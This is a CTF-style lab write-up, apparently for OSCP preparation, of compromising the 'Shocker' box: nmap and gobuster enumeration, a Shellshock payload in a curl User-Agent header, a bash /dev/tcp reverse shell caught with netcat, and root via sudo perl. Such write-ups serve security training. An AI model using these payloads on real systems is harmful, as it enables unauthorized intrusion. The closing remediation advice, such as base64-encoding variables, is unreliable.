06 March, 2020

This write-up is part of my OSCP preparations series and I'll be smashing through TJ Null's list of OSCP-like boxes. This is OSCP_02.

Things we will be going through:

-> Assessment: Initial enumeration of the box to find footholds and entry points.
-> User Ownage: Exploiting the found vulnerabilities to compromise a low-privilege user account.
-> Root Owngae: Local enumeration and privilege escalation to complete system compromise.


Let's start with port enumeration using Nmap:
╰─ nmap -sC -sV -T4 -vvv
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2020-03-05 17:55:24 IST for 30s
Not shown: 998 closed ports
Reason: 998 resets
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
|   256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk

The number of ports reported by Nmap is 2:

  • Port 80 HTTP: Seeing that port 80 is open, I moved on to my browser to check it out and I was greeted by this:

    I moved on to directory enumeration and ran gobuster:
    ╰─ gobuster dir -w /usr/share/wordlists/dirb/small.txt -x php,html -u -t 50
    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    [+] Url:  
    [+] Threads:        50
    [+] Wordlist:       /usr/share/wordlists/dirb/small.txt
    [+] Status codes:   200,204,301,302,307,401,403
    [+] User Agent:     gobuster/3.0.1
    [+] Extensions:     php, html
    [+] Timeout:        10s
    2020/03/07 01:04:29 Starting gobuster
    /cgi-bin/ (Status: 403)
    2020/03/07 01:04:56 Finished
    As soon as I saw "cgi-bin", my mind immediately went to the shellshock vulnerability. Also at this point I realized, name of the box was itself a hint, "Shocker" pointing to the shellshock exploit. So I ran gobuster again to find exploitable scripts inside "/cgi-bin/" directory:
    ╰─ gobuster dir -w /usr/share/wordlists/dirb/small.txt -x sh,pl -u -t 50
    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    [+] Url:  
    [+] Threads:        50
    [+] Wordlist:       /usr/share/wordlists/dirb/small.txt
    [+] Status codes:   200,204,301,302,307,401,403
    [+] User Agent:     gobuster/3.0.1
    [+] Extensions:     sh,pl
    [+] Timeout:        10s
    2020/03/07 01:11:38 Starting gobuster
    /user.sh (Status: 200)
    2020/03/07 01:12:04 Finished
    And we hit something!

  • Port 2222 OpenSSH: The port for SSH being unusual, I looked for some exploits for the specific version pointed by Nmap (OpenSSH 7.2.p2), but the only one availble was for username enumeration, so I didn't follow it further.

User Ownage:

So I was almost certain shellshock at "/cgi-bin/user.sh" was the entry point. So I picked a basic shellshock payload and curled it:
╰─ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c hostname"

And we had code execution. I got a reverse shell using the basic Bash command:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -i >& /dev/tcp/ 0>&1"
And in another tab, I caught the incoming connection:
╰─ nc -lnvp 8080
listening on [any] 8080 ...
connect to [] from (UNKNOWN) [] 60906
bash: no job control in this shell
Ergo, user was owned.

Root Ownage:

Privilege escalation on this box was almost trivial. My first step was to check what commands can be ran using sudo without a password:
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

We can see that perl commands can be executed as root, so I popped a sh session through perl:
shelly@Shocker:/usr/lib/cgi-bin$ sudo /usr/bin/perl -e 'exec("/bin/sh");'
sudo /usr/bin/perl -e 'exec("/bin/sh");'
uid=0(root) gid=0(root) groups=0(root)
wc -c /root/root.txt
33 /root/root.txt
And we had root ownage!


  • Vulnerability 1 (Shellshock): Sanitizing user inputs in shell scripts is the best way to avoid getting shellshocked. Directly storing variable values is not recommended and rather they first should be encoded and stored (say in base64 format).
  • Vulnerability 2 (Rogue Permissions): It should be made sure that unnecessary permissions are not given to commands that may lead to privilege escalation. Sudo privileges should be given only to those accounts that require it.


One of the easier boxes and a good way to introduce the shellshock vulnerability and it's impacts. The box name had a huge hint, which I overlooked. Also, dirbusting files with specific extensions according to the need is one of the skills that can be learned from this box. Privilege escalation was a classic "sudo -l" vector, which is one of the first things to be checked anytime you have a lower privilege account.